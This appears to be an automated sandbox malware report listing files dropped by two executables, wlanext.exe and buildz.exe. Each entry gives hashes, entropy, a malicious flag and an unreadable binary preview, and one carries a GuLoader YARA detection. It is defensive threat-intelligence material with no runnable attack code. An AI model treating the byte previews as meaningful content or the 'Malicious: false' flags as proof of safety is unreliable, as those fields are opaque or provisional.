Category:	dropped
Size (bytes):	227457
Entropy (8bit):	6.517192358486723
Encrypted:	false
SSDEEP:	3072:2475+H6l+T/r/3qpO62aROyOI7TN7T3teCPV16c+Ub6S9rI04SskLQC:CXT62av5Td31L/9ISp0C
MD5:	E98053327A1B9C1FEF0E3B13ED82CA24
SHA1:	CFE4592E0AD2980E97BCF3E23BB8026D12897E9D
SHA-256:	73618B61D1D63414C1568E417ECEA6AE36335B9227F8EE33D53E3295A6A2ACE2
SHA-512:	F1B88A7B575F8CDAE0602267CD029D5EFB4D50E40DF754D152B6D2BCC28093AAAE7609B5766D49499153C92F448FDF494074A1E8B0F986B7B38AE643B77DEDD1
Malicious:	false
Reputation:	unknown
Preview:	.........Pu,..J..S...[..v..j...+3....wp}P..p...c>.......$.Y....H$K...Z8..W.6....%V.....A>....I...~.qG.....;.M.TWd7....A.ZXA7....".`.Z.u.....F`...dk......\|.%..4.[...qegU...6....:.k..2.^.am...P.{... ..V....q...2.6.3.?v..a1.4..d.q"......1.VC.....e.D/...B..9&..tWXR...........i.x)...:.X..1.....b..wK....P6RB.Q....u..e........?..PS.3.._.?...'9S9D%..M.+...dX.z.8...sT}..yHS..2.C.>.5.S2,....E..wX.+V......YV......#0...@.....b.s...}.y}......?CZc...t3@....2;t.`./>q....L.}+..\|..1...h$\..(..;#(..%.}....3...x...t:~(...;..y..s....<S.!..[.....@t\..%T+.8....!{ ...)...x].z.....n..s\.F.....F[w..F.b...&..yb.H.k/.9.V-.v..a...x............4.a .....I..g........3i4l....u.VYW..\|v..v.s.%3.v....l..T........... ".S.b(..D..d.......+..m...p.B.^%..d..7..z....g!}.....KK..hBEBm.......".1B...(..\n....1.1.;.t\|F}s%As.u.d`..].."...Z..I.K2.)E.mc.h.q..4.CO.24sq...q..2../_.b.h.Q..%}..g.M.....N.$.kg@.t...:&7....=...."@".&qK....SE......\|.D..ON..9...U6..jCW.

C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Ddsannoncerne\bullwort.int

Download File

Process:	C:\Users\user\Desktop\a\wlanext.exe
File Type:	data
Category:	dropped
Size (bytes):	403087
Entropy (8bit):	4.522207113459422
Encrypted:	false
SSDEEP:	6144:KCspVLU3Z1irYn5Ba2eeKOgnES2Owdya2yB:KzjKoEAOgVxVyB
MD5:	4D6EC72E59BD83F7A588448365C25158
SHA1:	1C7BC86AE38983EDA036ED28FE5139B0A9A8D971
SHA-256:	591D710E84B932742A656C5BD9DFBD6FB55281B7F1CBA866C5FE25FA9CC382C2
SHA-512:	852D4E339ECF07C0BD7FBC8B0C57CB78959005E5F0A0EB1007DD2708709E870A289ACAD3C22C2FF785DEBC2435DE6A618E2184D075F69E12903B0292B51D9D9F
Malicious:	false
Reputation:	unknown
Preview:	......X.I..9,..$.;..7...>....HkN.{......7.a........x.qM&.2.s.............H...X.. ...db:.o..b....i........3C}.r..xt.B9t..N(.V.)./$.J..8...&......\.8...K..M.. 0...@/gL.'.....$..i.C.iHB...z%..x1Gz..?."ju..>+.E...y.\|{..+....89...5..........aUD ...a&3.8...QR.....4....L\....M.y..U...X.J..7....=..\|N.3.'_..AO.E_V..5.q..\|.....2.\^.P.{<.......E.-l.C/.z.x8f~..o..B.H ..L[sD......S......&....F.R.....e.5.4.. ].....C.....";.,..<...jj........5B.i.Iz.\|....[....~..6.wH.`......2Ru..8..@.\|..].{.I.4...n3...x.J.p.%.....b...!G..4.QM..U.....i.w..4..x...>..b..ng...@?.......>.[..l..8.8&....Sy.^.6..\|_.=.u.O%L..Z.;.@v/1..].......Z...'>W....Q.A..q..})9.......[.....6.....9...+..B4.>.R..>....=..8...fE...w.2..\a"?@/...0...;..Q...O_fs...2.L......=5X..N..9'.s..fI....v.@..:.;Zf...a\.~$......<......Xl.....j_<..p2.x..L..>.}..;.G..L...B.c..H.T.+ ...%....v6.<...Y.]g4u.Cq......2..J.I....i..v..{...q../&..KF,.....b.B.U....C(...O.9.Wz3...{/Y...i_(.&...vz..n}T ww......5..<T.(..

C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Ddsannoncerne\mandolin.txt

Download File

Process:	C:\Users\user\Desktop\a\wlanext.exe
File Type:	data
Category:	dropped
Size (bytes):	864
Entropy (8bit):	7.737240779732558
Encrypted:	false
SSDEEP:	24:4EyUNaRRk6FqukqTSf7308QZoz2antZUeSbD:4RUNafk6OxroyCYU9D
MD5:	85CB87BF986E4F0012E833F71BF267B1
SHA1:	2F4401CE642C1573615697DD93B6E8E81C355B26
SHA-256:	BE290421E34FD85E5C6C183A95AF2E101E1EB9FF0188165A8391FB6176D9B84B
SHA-512:	04BB7B41EDF0B37E71566CE843C6E7BC9114BBA8D6AA0F5594F47E2AB26E71E2D8334A8A64A4E6F0136F9C98F60B943DB03D2AEDC86707E776D9D3ADE9389A6F
Malicious:	false
Reputation:	unknown
Preview:	neger.O.f/..9.".+.X.%..5.X....(&.?2.o..7Zw>...y..9...,.R4....E T.....<.Z.@..f.$bA......r.x....a9w..e(...[..u."R..M.j.^4.y..9E..N..89....Fot9.fmL9.>X.....?m..[I_..E.+.h.wi..B..X.....j..{h.._...6...b..c..`%....'...4:d~x3.'....&..`Fx.28....../u...C.6.?O.4.0..Y.....$@s..X.5'.`.7.@.-..bby.m..d...,.X.6...+tkG7.#..E.'....K.q.u.T.aL...x..\..vP..&....~...&...t.0..H..LN....l.....[.U.V../..X../..[.k.z{r....8H.?.\|....B./o@...9.k.'f.....8.8I....C..lnX)..R.0...]...D.........wFZ.~p...l:M....M.......(.b.....I].>..x..y#......._....G...1.#.g....8.i.Q..-.k M.b...a^.<=.-.V....!w33i....t.>..:.1p... ...P....K&....1O;.B..f.....;j.[.ut.i.-..S.......qG...$#..)..i.....h.2.4.'MM'8Sc.5...W....F.......f?n.'.....l..3.o.m..O#.]..0..)p...+*9.....1O......I.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne\symbolize.sva

Download File

Process:	C:\Users\user\Desktop\a\wlanext.exe
File Type:	data
Category:	dropped
Size (bytes):	498778
Entropy (8bit):	3.962190123325699
Encrypted:	false
SSDEEP:	3072:SZ29GVhFncyee48AM76o0PI5VdrE7Ur2hwS0YHro0lt3/aE2KKBJU6E:Sbaz8AC6f6Vd4qWHrjd/7Ki
MD5:	592B68D23BA456511341364D6E18F673
SHA1:	65CE1D6D2D336C2D362247D7038A17BE957A2A87
SHA-256:	0EDAAEE79BD9593D81DE9ACD77C68BD385D05E2C1CA5EE438B8FA6C0BC9B3961
SHA-512:	9177535DD599589C3DF4981433619AA438565503B1BF625746222259F03ED166B8B5D4F3E79391FAE88C80B66C7825A254FE760596C19088C46CEE45F355EFB1
Malicious:	false
Reputation:	unknown
Preview:	.......d.97JI.4@.o.......n..#C.xo.....d....O`..Y..x......_..V.........iHW[oLM...w_.V.vg.~Hp.K....#.T..R..,}.../......r..n..~%R..2....'"5......Xr>Lq...[L%9.b.[uc...e....u...}Cy.S.Rb........h.h...."......(.<.d.X..........H.....^r...k..'.5Rh.....{.=.s...;.23F..ek..Z.T/..dt<(...S.....m...9....2(...c....A..\|..!:.....o+{..R.._.....<...9I..g..`J..j.9.....r......C.kpW.N.!T...-~i....V.#.,...m.'..t...`E.......i....M&..rX.B.Q=......b....../O.......l`.L.6..!.N......m.........x...{...Wt...K.....4......t/...r...:..">&..>.m.W.Z..~....}o\|IA...6S.n7.2...M.'kjO.....S.-.y[.,.....Y.p\|7........KgF...0..S......e<...5...tx.....+l.........=~][...-.^.e....n..#..a,.Y#.2..7.n~Y..".K....-.G./0....0$%=......U.p.\|>....]...@..........K.. G...L.GN..c..L;......s..B..{../u......>.T}.. R-.0.+Z.....6X5...}......@...I.2.{...u......./q......o..}A.u....L ..:.g...=..S\.v}j...lba..V.JL.q.c0.k.r)......[".o!.^_..Q.y.R...g...8@7..t.0..Pa.j.q..zl..e........[l..`..D.........?..

C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos

Download File

Process:	C:\Users\user\Desktop\a\wlanext.exe
File Type:	data
Category:	dropped
Size (bytes):	26039
Entropy (8bit):	7.993165851488494
Encrypted:	true
SSDEEP:	384:e5mIFKXnFlCe6M+Obpo+yAs2MRoq37sZ2yN5VwR8DROH1uZh0Y+b3/gGXFYTlQ9z:YsFlCFObY0MRWAyN528DY0Urr/gN5Qt
MD5:	B1250593B4C5E7FC6839D9D4F4AD53B2
SHA1:	5460942A572A348CDEA52B3D59ADFB4349F1A868
SHA-256:	2AA3B6AE2F7A096EE36EC57A95F7E7F9FD68A447FB9D35431AE94FC99BF4EE1B
SHA-512:	A41635488823994B90E1ED60C4E6B04B2799B8D0D881381697799C83B26F023F221F9FEDC1F53B7774C1D4ED877DB0F1C5002CA53D1574B412168D4D27538D71
Malicious:	true
Reputation:	unknown
Preview:	<#Rad...M...E../%..d.QV.~F.L....L?...C...Zi....9@....!.q.z..K..Df.........a^.vc...U....J...h..{&Vo.QNg...#\|~v....... .PFw]z......ii7.bV.a.n^...s.3..E.._...4.~.._....].?V.=.w..pM.rb.}.,.Lc..}.....-..~...z\|M.J2H...h..dWm.Do~P..D....N......].A.6......y.T...FI..........I&.#)..F]._ .K....9-..n69b..E8....).....X.....G.........kcC.F.~6..j2.\.;!.....$...Sc.\|...Y....S6.@.\.qR....o&....=..g\O.....!R..}A..gZ...`"... ...H.GG.~fH.....0......p....b...L]....0k..5;.......t...('.[.1..r.....pZb...._EL.3.Z%..]...Mt...6...5.....X./.'.u...4.L...[=.B.......lr2%.~..O...t.N..}.Q4.G'.\|..!.i.......D_.l.E{._.l)..d.W?y...#.>......u.=$LO...[...#w ..k........sC...ep.....6.%z..[..0..S'.pK,J...Z\|..M4...P.?.z.h...f..B. .>.qT.X.o.V...9...[N..G8\|n....h...(..d..3N.7m.1..C...4....0..i0.........c....eqA=K..t.....+.h.e...fF..].<.{......*.+.:.).2.>h1.......K...}..h.....$=.Dq.z..a....^.^.W.L^......{fv..3i.h.j.H.[.........v...[..e..(.C.+..z.s.6.,.v.!.m........Q.!.e.C....

C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Poll.sti

Download File

Process:	C:\Users\user\Desktop\a\wlanext.exe
File Type:	data
Category:	dropped
Size (bytes):	391976
Entropy (8bit):	4.600804172586028
Encrypted:	false
SSDEEP:	6144:5eboBgKnYFDjNmSXvm16J1SLECXCsVgFEAxyF4rbX:5eEBPnYFfsSXIFCs6kSz
MD5:	5EE5330AA73A0AEEE97E5E0AFEE96894
SHA1:	ECB6C60D71AD6221BBCF8498CB0BB4ADFE53F80B
SHA-256:	9734D180BF4B78CBA0FE409578ED31FA115B8A88A87A6A7D6848FEE82CFD3B41
SHA-512:	25181C0D1D66FBB4EFCC294B69C187DD315054467E5FBC9272ECD4B900C24252AC38E5088B036AE849CCDAA212963FEC88A779137A6C856F8022530F5CE8F0ED
Malicious:	false
Reputation:	unknown
Preview:	.....1C,...?F,sN.. .$W.N..:.p..Q..mM.6..7.g0.e.}\|.(."oET....(T.P..W.IuQ6.......x%........ 1b.R=.".L03K..n7J.@'R.-...a..#...sk8..{.)wh.[..\|......4m...t.../:2....d,./..5...o.).(.e._s..4r......ZI....bb.w.....&]o..(.g@.o..7.Z....>..TO.....g...1....(.cJ..a.C$..jq-....\|./l.{."..y.......O......F...c....U......\|.r...DS.....2..s..\|.j....%.G....7.X.(...]........O..-.gO..}..O..Xl..].......V..6lc.Z.K7.........5..Zw;8.....W..$.8.E...y.C,..B.?oB.f3D.....Z`....P.1...0g...6..\....cT{W..$.`....9e...n...q8RP.i....:.&...N=}:[.\|....'1..-.T........#..p....0_......lwK.....Y.4.....L.....eRJ..[F..l.d.-.+..U......@.....E...%..m$.......l...b..&{~..?.O.4Q.Fl_...,f.s^m..:.-........wSqZy.D...P........{.^.]u\.o..\$..s2...dkrj...m....&..mcSrK..V..3.?...l.....Z..A....K.....=nc7....4.R_s....W\.>......`.P..V.x.W...~.$F..@#.o...".ph.w@f/.!.../........&>..+..&...].....U..F."..mv..\|.i...71...2.S.5~..8...a...g...c.B...lTG~....-...L...M.L..\...Jm..20..%]..pU.l

C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Singlet.ret

Download File

Process:	C:\Users\user\Desktop\a\wlanext.exe
File Type:	data
Category:	dropped
Size (bytes):	171346
Entropy (8bit):	7.68328550473886
Encrypted:	false
SSDEEP:	3072:yor8bTjSw0BbdVml5uqqG9PZiMNoszpRmNzyYEYe1zyAN6xeqKW+xJi:yor8b/SV1dolHXRiMNxRmNLEz1zAeWU4
MD5:	69218F0A94572690C113BF330D9F151B
SHA1:	20BBD751CE26E02CCFED0D4B40FF652D584E5D89
SHA-256:	E070613A42478C573ED9FEEEB0E12D4574733F1B875C84B29211ADFCFB60D335
SHA-512:	74AEFC00F72063C0DB211CD991CC936C42E4A744C0F4C83F195449782E8B3AB1D4884F858B87BEEF7CE69B776964CA1E76DA2C176538835D91324A4F9E3F9520
Malicious:	false
Reputation:	unknown
Preview:	.......,..g...=.......i.a..zC..K.I9(PT.68......N".n=...a.aI.X...>n.. ..<....{.B.O\.=....#.X......ql.....~.PF...6...+..Db.iU.g...W........P...X.t.g...A......>.k..]i......~......i2.m..(.b.O.g}.....b\...]C.....+.t.{......nn{.#.V..PIX.Z...3.A..9............8Q.....Ju../#x.M^=f.".....[.}.C.#....w..9F6..Pq..C..e.-.p.$.^..,"..b....?...%f....4.p...I.>r.H)..b5........Pm,l......CY.P...".[..oi._.N....1wL...FV..L.-...[...p^H%.....{.....G..6R.H.S.;_..6C+.....-...;N........c_5...@i.....E'u........r7..r@.......!.R..07..FS.m<...#.(..k\R...R.tD.....y"..s..Xx...mI...J.SL.D~..Ts.C...].y......B.%.\|....k.....M..Vj.WN...S....XI.qY...Lg.,S-..1G[....N....L..g..i...S..n....6p\|..C.f.....Ti.U...;..,.,.v2f.U...M..{B.R..?..M]...c..........+...$.e.....84.$.f..W...}...k....eP.{2(.g5..4.I:.....MK.1.5..TwL.7...)F..oC...jp...0H. .{....&..H..\.~.=.8.[..^..2.[.C..?....=...;%...S...h..+C.I ....,X..V5..s..X...{..O.X....6.....D...5..<.SrJ.-.......x.$..u2..)m.....

C:\Users\user\AppData\Local\Temp\hardz.bmp

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.176117391241852
Encrypted:	false
SSDEEP:	3072:566YkQ6aganHKB2QjSN/9W4V4A3LzakIP8uzvFPYAXCV3mHWLWW:I6YkQ7H6Qx9W4pLzaHzvN9KdWW
MD5:	1C179114E7309B0F779C2423B1247976
SHA1:	0FD443492F6ECAFEA20AAD059936C786B2EF2F0C
SHA-256:	3F25753C637517084E4A930DF447DB686085C92BDE7292C04B0BA7B428C498FA
SHA-512:	1914DA5A2D750F5EBCDF4DD82BCF830BDD51A2F9CBD58AB7D0082507B31AECC37D1148EF628390690A42445ABDA5CB5EEBE57D18F5709620200CA19B28E2D72A
Malicious:	false
Reputation:	unknown
Preview:	BM80...!.4.x......o....Xx...:.O..m.....I\|.....@........1..~.u".0.....tv...k7....A.......y.....h6_.I..B........TL...F.....z.2.9X..9...F..D.......0.......g...pD.x.`..g.#F.....]C.w...).0-.P.\.q(Ub...s......g.b.z.+..+...i2..f....bE..(c...'.K.P.......yj.m-..>....X....7?...2..x..J.S..sFN..q.(d_....&.....m...g.`....5hX.D..6z...h&..9V.Fv.`{3n..,`.p....)j...4}.]r..we.............k..J..(}...^.\]...P.lz..IZ]......pV.w.......<.........J... ...<$".K.iQ.T...,.\|h.O4.=...&.......5....,3../....s.d.qU..`..,.......U..!.8....+..u4...9...xum...y..wP`....m..C.i...2...T..%6...o."vpf;.\}....`8..GYG....0.eu.&~..pci.7..pV...6pO.\..y.~....w3...F.egl..#..!..Nx.C.=.H0.....@.h....{"....y...l..q8...3%..-.'.;.xF...,Y.>Z7.$.D....p)M.J......f q.....?..C..!._w..T.......+x...._.....2..@..n..%..6..<8..G%x{FLF6.}.......Z^..}...Y....pX..E.....U&...F./....eV..R...G'qO.g8.H.K....0.".... .[.1...9..^...`....7.+.r..oWf..\|..............h.4\/.~...r@Do...e7..0x.L.].

C:\Users\user\AppData\Local\Temp\user.bmp

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.1756790804216455
Encrypted:	false
SSDEEP:	3072:MXWEv9rXadtAyqt/h8ge0AOFeYpL1rLhUmpBCiGssFt7Qva:MmElrgAzp8geUtrLpjGssFt7Qva
MD5:	658319E1E6C8CA37AE87742393D58460
SHA1:	97545C4BD97F45A97375E0FCD40F76F2A4B76A9F
SHA-256:	037F0A2AA45D2E9E9B70D10DCC2264E86BF7676D6B0FDC128F8A425ADA63CD28
SHA-512:	A7ADA9E81F6D8BF2BA702A024A2D321DB1E5D938DF0863244EAB3C2666EAF1E58ECA91A727F1DA33B58D10584B0F20F930F82F7A0FF09A6A35FD982CFB7170DC
Malicious:	false
Reputation:	unknown
Preview:	BM80...(.........'.-\|.'."....$>..Y..,.}.....#&47.,.gv..`?.....Qe.{.I...U.{.G..W..R....O.<.DF.a/.@l-..]...."..(r.<%....X.QX...v.PL-.......ij.lM....Hr..J.t...$ .%=.l....W,.;.......y.V]...c.....wR.....y(.....s..'s.`..Y:.X..........?.Tp/l......y?4.7..9:.2S=ER3..k.[..............x.\/....K.O<X..<.CL..%<.j1.Q..L.@...k-Z.....%...q.IS...'=cP4+..W....V.O.Cr\.:...7.......+....?G.....x{H.~.[..5.y...\..@..!.J. ..........d......-.m....=.H...l.E.X...P....(.'...2......d.w..E4.4.t...%l.0.!..a......>.xf...A.Y]..]..>................C.7I.m....>/>.............r....d.L....+/..."6...7...R.'s.L%7N.;Sx.}[.`..ZFR.r..H.0&. {d..:..#.0....r.....q...e..r....ZUR8.I...E......p.........P.3..a...4..~....h..J....G.R..-=.....}...`..w....-o.uq.8.A.q.s..?...y..(y~J7..9..Z.I<nG..i.f....@W..0......... D`..3....(.v...r.\.H}.k..."@#sS..J..t..=p...q[U..H...E....bR.7H.S}h..=.CK.9....\|M.=7=...kC\..uC).......Y-h..vS$@..&..lg.k(...K;..v....P......./..j+q'.8../.7..A.......ka.l....(

C:\Users\user\AppData\Local\Temp\jusched.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4406
Entropy (8bit):	7.962530801296249
Encrypted:	false
SSDEEP:	96:oxdVHI+zuqVKjxP5O3fdwN26fo6icfKwchHI3vyScfWU4k/WYE1th:6dIh9xO3mNZGcGRo614k/WYEt
MD5:	C0762545C40A8677EFF405B829D887DC
SHA1:	9332B39185787B6DE7EB7E5CAF421D1736FC3F10
SHA-256:	A894DF0730EA51D28234BFF26757865716F8EBCAEE7A7227FB33380953C76BD6
SHA-512:	369AC94C01D3996846FE73E667C2C096CE570F7379D2F669BD9056C88B89177C0115A9C591A7DC152790B9821A069E3A52D735560DFE5DDC897A153C41F06A80
Malicious:	false
Reputation:	unknown
Preview:	[2023....Q..&?}(V#\|.O...D.G.e..=.k.,..d.Zg%.(.3y .}U..t.Xy..}1.i.:...w.............3.$0.F...........q..H.w.r.y...9Y...Vz.!).N...RJ?$F..r.X.....-.V....E..m.........-...2.-.....g...f\.^y.[.X..;...7$..=...(q;&..-J..s_....mD.u9C.6....o...M...XH(.1/.K.b.I.\M.n.[M.........Z..I'-.A........u,..L....M.k...s.D.....{....z....W...hq.q..Fn;/.\|.......O..Sd-...h..._..P..A_..<X..1...v...g]J.&.9...... .`...*,...p.>p.AX....U........."`....V..>"Z"M.o.h.....x.E".S.V\.\|......r.=..W.s.CE;.....&...B..S..6.n.........D...@....qi......c.v..B.M{.H?..<l1..(..V^..=@.8.....w.......]..o2..`q.[dR.O}...W.P....aZ..p.P].9...4.....dE.....y=]..`9.".RI..tSmT,..........m.oW. ...s.4..UZ.{p..(.6...\|.w..W<7v.`g....{?.Nm.9..T.kU..m.pti:...e..-.H.L}<.^....xo9~..#.T..............v@F..r\....4!.k'..B.~td..].}...atQ..6.B.j.y....ve....).........f...W.n%.........t...p......q...x./...).N.F.7.NI....;.$@E"..Z....UP2..<.D.d..:.....e...nT.h..C...qF..f.']....~..!.....@..@.U....8.....)..

C:\Users\user\AppData\Local\Temp\msedge_installer.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	22093
Entropy (8bit):	7.992682931459751
Encrypted:	true
SSDEEP:	384:XeR29vZIJ8w6mG//ZTab+rODPINrPF1XJcYi5pKX0RYxoMH:XeRarw6mDEQPIN51XOHU
MD5:	D717216CD113C3586635E75BF9EB0F14
SHA1:	D4CE6002924625D186BEFD472AFD0E3848926472
SHA-256:	9C442D8AD9AC1A6050FF53E28ADBC62E46BDF508A59CB6430AED75D60B05932C
SHA-512:	E9BED4F09D1EFFBB370EF5D9CDC223CE15398359ED32C39D0487D89534EAA38A24EEBF5537C5DE6F156FB036B1EFA80DB4D930DF38A471E2267248D4D3E78A4A
Malicious:	true
Reputation:	unknown
Preview:	[4004...........#.Z1...8....X.n.,..(C.c}...'..HH/...B....1..:...N....S....x..r.a...O..aU..D.,.9......`Zr1..........^@..L.t.1+N......y7.`........T...#..]..T.J.-....WL....4.m....h8.S....Q...wH........c`6......^'Y.J...b......##:GS...#.."B..ydl.$.o..MH.._U.,.Sb..pJ...:..._+........4U..U..zp9....X.....!h......../.5.....`.-.e.).ccB,U......t...k.A...........j.{f...E.,..>.;&Pl\.>.P3D.@Z.@._..z1.H.ocL..{..E.(........mW9iT...s*.#6.L.=....c:-...$93;.$....l.E:.>3.C..!.Pe~.....Kq.L\P.q,VX%.6<qf.e<.q..."...ie.<........I...5...x..?..~.."cs:r.M- ......`$.....{P.....Z.~.4b..........al..Lv....Z.'c.'G..k_W....j.o.!.....3[.b..UE~.Lu..7......#....d-)....aR~D.......l$.{....dq.O3..\\|...1i.%..F..0.........m..08za..+L.....bU..c.....0.......j.0H.!.h8X...Nno..-...lk.:.YK...(~J\|....._.Aw.}.5.<....^.i..;nvl.\|<.uf....Y=..2....0...n......_.,Q{# .$H%Ks...........^..8 .......t..t(L...!zO........~.2..._. .."...9.....^r=../..Q..v.pt.`...=m..R.F.@...~.-.....;m..

C:\Users\user\AppData\Local\Temp\nss8CD3.tmp

Download File

Process:	C:\Users\user\Desktop\a\wlanext.exe
File Type:	data
Category:	dropped
Size (bytes):	3085824
Entropy (8bit):	2.5321586939495
Encrypted:	false
SSDEEP:	12288:k/MqF+VymtvoqhDP8prpG1DLz8/UD+zSY3KVyr2l:kkO+Vl5DP8pARzUUnY3Rr2l
MD5:	28FC2F02C822BC364E3FD34CAD6CCA7B
SHA1:	3CB5CC577D3CEDD367CAB64B2409256A1EC243D2
SHA-256:	00A6B2A1215601C38703BC5050EECD56E1EA96B1B0158A8CC6E15994EBDA68AA
SHA-512:	742CF5CA1989957940B2312535ED7204EB8A7B4AC9E2FD8D82DFC04E140440CCF647B540FC5E5964C8340CBCF847358A262F7CBE3DD8BD98C2DCDFCAD01A3A8F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: C:\Users\user\AppData\Local\Temp\nss8CD3.tmp, Author: Joe Security
Reputation:	unknown
Preview:	........,...................k...x...........................................r...............................................................................................................................................................................................................J...b...............j...............................................................................................................................................:.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\offline.session64

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997243057786243
Encrypted:	true
SSDEEP:	1536:dTCK5PcTh8HcICQZXAV5riNTpfecs4vSR5TnIccvJ/EHSs+1:F5Py+chyQW5sd46vn/cB/Xl1
MD5:	A6F51FA827CF03F70AF7528C35FB56AA
SHA1:	3FC0660E7799963C7CA6F0D5833C2939DFD37A9F
SHA-256:	250B0303782026B49ECEDBE808DED26902F1980825D80EC0F89ECDC609AC57D5
SHA-512:	8824C36F1C1A5B89481E534E0657B1B3F9F3743209DB6E3FB5634ECF5638047FE6A4072610DD49C6F30496C3881E624FB42C0024DAE484FB1CFB53006CDA0D4E
Malicious:	true
Reputation:	unknown
Preview:	1G.f...N.....M.@O.I!.%.d.A.!...\.......!s...=19...Us.....aX...@.W..%...?.+D...K.-F.[...9.(..v%..mMB;.T...]l...3...xC..qe.....,.......F:...D..Ayk..o.....O.8.ON.3.k.sc$........{3.;o..eNM.uD...QR...!......\.tu.....M.$.......&8...HJ6G@B..4`..R=..8..I"..+p.".S!ee..}.M.mf...$Y.UJ...o.7.I..!....w2...rD._..m.d.....'..m..2(E.z...#.]...Dp...b.......F......R`...\8s......_i.V6....(a..M.ty.M..n.S.3../...:...........u8.G..#..36.$,V..m$...e...a.V...r.z...b.F].uvh...'L......{.ER..`bo.V.D.B.....Q.R..3..c<...R..K.Tl.."..-.T......f1.....4I.Y..!;.....hu...X...t..1.^....G.N..c.N8..Z.2a.w.O'..Fi.........Q.^LM,P...2.X\|/..P.s.T.G_..../.'r......g....!..r..Z..FmY.....a.z..Z...FI..o.....#...}..i4...~g.(.[pv....d.{..<2.5...$e%.k....G.U.S........'.....q..;.`.8.&h......P...7.S..m.=Yi......*.vZ$..[!.3.k.$K..."..m.r.x.h......!.<W].Z..(.mE.(.....r.[ad.@......boO..^n.a9M...5g..{uf.......G.xs.....LCN...p.....,3......v:..V~...e.....N...p....#~..M..e..........hP.l&p.

C:\Users\user\AppData\Local\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.782459958320747
Encrypted:	false
SSDEEP:	24:yQ/2wf/AfH4TJ1yGXPjzuW1ULlGkmSCjbML/uGXWL7AXKXzdLCdzbD:yQ/2wf/AfH4Xy451UJVcwnA7PWdnD
MD5:	5CC8E49B355C83C0D8C26A86A0E64D7A
SHA1:	77C14F851C7DB5DF369B40F3BC97F264D786E7BE
SHA-256:	3120B5A55EEFC9D1AC4E4C8C0B418F0F511AFBC1326DF7A69294B1702BBDAF82
SHA-512:	737298ACCDADEA00CF5395EDA05957D63F1A5A339AA4D1EE2C9E3075778C71DDDF1274D305723F515B463A1282502737403DBBE8955C38AB39B72A472014E50C
Malicious:	false
Reputation:	unknown
Preview:	RNWPR.]6..F....r.L.....u.V0..=z?..1@....L._3.. U....nJ.."...%x..w.....\|......x...C.)..~.+B.\T..'..v...>G.\....P...$.?........Dxo#o.};.a)N.........,.$e.$#...R....N....V...F.X.....N....s..n.B..H.$k.!../D.....h........+..7.@.........Pi...<.e...a.:..PWE...V..Q..g...i....t.,....Z..(.... 9_..{!h......Lb.H.Jm.Nc.=....k..T.q.......1.8.%.._.L....;.+.h.]O$?.....Yo.g.. ........h.."..aq.=9..%.-.......{..Zo\.'./M...;tL.oA.........8v.V...aa..t....Q/.O'..d\|m.}.L.)c.T.V.B.\.9.\|....r....\l.?.K... 7..^mb.\..F......d_...j`N.Ctv.LR-.....q%~e..W..vF{...s_T...;g..s........8.....!.u..[;.E..GeL.Irs9.^]V"...x..s..B"R...E......9.3.?Q..'.b&wQ...Xn.7.Mxx.u...l.^.~.0...e...d^.).....7....R.%.#7.lB~>s.).a37....3.PaM.{=l....J5JwE.p.....B....X...Z%eZ..L.....@K.2k.....qrJ..:9..7...........}.....S'DP....\..P..-.h..q...!...HV.u..0..).IgB!..D..W.j.........P.:.>KL..3.. .......o......o...o.a.l:.......z.B..x.$.L^..>.e...<\|....n....8.....%ASLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLI

C:\Users\user\AppData\Local\Temp\prep_foundation_win32_bundle_V8_perf.cache

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	662049
Entropy (8bit):	6.820432596392454
Encrypted:	false
SSDEEP:	6144:J/oz7mJTW6nUxYOwdszC2l6TvpvQiifjhsLT3DZePTVakbYwsqVhKXHgjSDhF3kS:J/oz7SnAYC2+6TBQiee/t4P+qVKTp1
MD5:	3D334137160A991B95537F3DEE1AC8A7
SHA1:	14302BCC16D9C6F20A67A3DF813ABCBC231422AF
SHA-256:	E34C0BBF7D584E9DEDB209C6951CBF6736D47D324627DB00558558E3D63151A3
SHA-512:	38BB26FB077BA8E2B54E094EF0EFF3EF16E3623AFB94EE0D644C0C0422B56B207D1DD208A117C26C06DB80515AD3B73A3B2C82A046A05A6B65032E014437E24E
Malicious:	false
Reputation:	unknown
